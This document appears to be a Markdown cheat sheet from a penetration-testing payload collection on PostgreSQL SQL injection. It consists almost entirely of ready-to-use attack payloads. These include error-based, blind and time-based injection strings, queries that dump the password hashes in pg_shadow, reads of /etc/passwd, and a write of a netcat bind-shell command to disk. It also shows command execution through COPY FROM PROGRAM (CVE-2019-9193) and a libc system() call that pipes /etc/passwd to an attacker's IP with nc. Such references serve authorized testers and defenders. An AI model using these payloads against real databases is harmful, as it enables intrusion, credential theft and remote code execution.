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280 lines
9.1 KiB
Markdown
280 lines
9.1 KiB
Markdown
# PostgreSQL injection
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## Summary
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* [PostgreSQL Comments](#postgresql-comments)
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* [PostgreSQL version](#postgresql-version)
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* [PostgreSQL Current User](#postgresql-current-user)
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* [PostgreSQL List Users](#postgresql-list-users)
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* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
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* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
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* [PostgreSQL List Privileges](#postgresql-list-privileges)
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* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser)
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* [PostgreSQL database name](#postgresql-database-name)
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* [PostgreSQL List databases](#postgresql-list-database)
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* [PostgreSQL List tables](#postgresql-list-tables)
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* [PostgreSQL List columns](#postgresql-list-columns)
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* [PostgreSQL Error Based](#postgresql-error-based)
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* [PostgreSQL XML Helpers](#postgresql-xml-helpers)
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* [PostgreSQL Blind](#postgresql-blind)
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* [PostgreSQL Time Based](#postgresql-time-based)
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* [PostgreSQL Stacked query](#postgresql-stacked-query)
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* [PostgreSQL File Read](#postgresql-file-read)
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* [PostgreSQL File Write](#postgresql-file-write)
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* [PostgreSQL Command execution](#postgresql-command-execution)
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* [CVE-2019–9193](#cve-20199193)
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* [Using libc.so.6](#using-libcso6)
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* [Bypass Filter](#bypass-filter)
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* [References](#references)
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## PostgreSQL Comments
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```sql
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--
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/**/
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```
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## PostgreSQL chain injection points symbols
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```sql
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; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
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|| #or statement
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# usage examples:
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/?whatever=1;(select 1 from pg_sleep(5))
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/?whatever=1||(select 1 from pg_sleep(5))
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```
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## PostgreSQL Version
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```sql
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SELECT version()
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```
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## PostgreSQL Current User
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```sql
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SELECT user;
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SELECT current_user;
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SELECT session_user;
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SELECT usename FROM pg_user;
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SELECT getpgusername();
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```
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## PostgreSQL List Users
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```sql
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SELECT usename FROM pg_user
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```
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## PostgreSQL List Password Hashes
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```sql
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SELECT usename, passwd FROM pg_shadow
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```
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## PostgreSQL List Database Administrator Accounts
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```sql
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SELECT usename FROM pg_user WHERE usesuper IS TRUE
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```
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## PostgreSQL List Privileges
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```sql
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SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
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```
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## PostgreSQL Check if Current User is Superuser
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```sql
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SHOW is_superuser;
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SELECT current_setting('is_superuser');
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SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
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```
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## PostgreSQL Database Name
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```sql
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SELECT current_database()
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```
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## PostgreSQL List Database
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```sql
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SELECT datname FROM pg_database
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```
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## PostgreSQL List Tables
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```sql
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SELECT table_name FROM information_schema.tables
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```
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## PostgreSQL List Columns
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```sql
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SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
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```
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## PostgreSQL Error Based
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```sql
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,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
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,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
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,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
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,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
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' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
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' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
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' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
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' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
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```
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## PostgreSQL XML helpers
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```sql
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select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
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```
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The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.
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```sql
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select database_to_xml(true,true,''); -- dump the current database to XML
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select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
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```
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Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
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## PostgreSQL Blind
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```sql
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' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
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' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
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```
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## PostgreSQL Time Based
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#### Identify time based
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```sql
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select 1 from pg_sleep(5)
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;(select 1 from pg_sleep(5))
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||(select 1 from pg_sleep(5))
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```
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#### Database dump time based
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```sql
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select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
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```
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#### Table dump time based
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```sql
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select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
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```
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#### columns dump time based
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```sql
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select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
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select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1
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```
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```sql
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AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
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AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
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```
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## PostgreSQL Stacked Query
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Use a semi-colon ";" to add another query
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```sql
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http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
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```
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## PostgreSQL File Read
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```sql
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select pg_ls_dir('./');
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select pg_read_file('PG_VERSION', 0, 200);
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```
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NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
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```sql
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CREATE TABLE temp(t TEXT);
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COPY temp FROM '/etc/passwd';
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SELECT * FROM temp limit 1 offset 0;
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```
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```sql
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SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
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SELECT lo_get(16420); -- use the OID returned from the above
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SELECT * from pg_largeobject; -- or just get all the large objects and their data
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```
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## PostgreSQL File Write
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```sql
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CREATE TABLE pentestlab (t TEXT);
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INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
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SELECT * FROM pentestlab;
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COPY pentestlab(t) TO '/tmp/pentestlab';
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```
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Or as one line:
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```sql
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COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
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```
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```sql
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SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
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SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
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SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
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```
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## PostgreSQL Command execution
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### CVE-2019–9193
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Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
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```SQL
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DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
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CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
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COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
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SELECT * FROM cmd_exec; -- [Optional] View the results
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DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
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```
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### Using libc.so.6
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```sql
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CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
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SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
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```
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### Bypass Filter
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#### Quotes
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Using CHR
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```sql
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SELECT CHR(65)||CHR(66)||CHR(67);
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```
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Using Dollar-signs ( >= version 8 PostgreSQL)
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```sql
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SELECT $$This is a string$$
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SELECT $TAG$This is another string$TAG$
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```
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## References
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* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
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* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
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* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
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* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
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* [SQL Injection and Postgres - An Adventure to Eventual RCE - May 05, 2020 - Denis Andzakovic](https://pulsesecurity.co.nz/articles/postgres-sqli)
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* [Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - 2009 - INFIGO](https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf)
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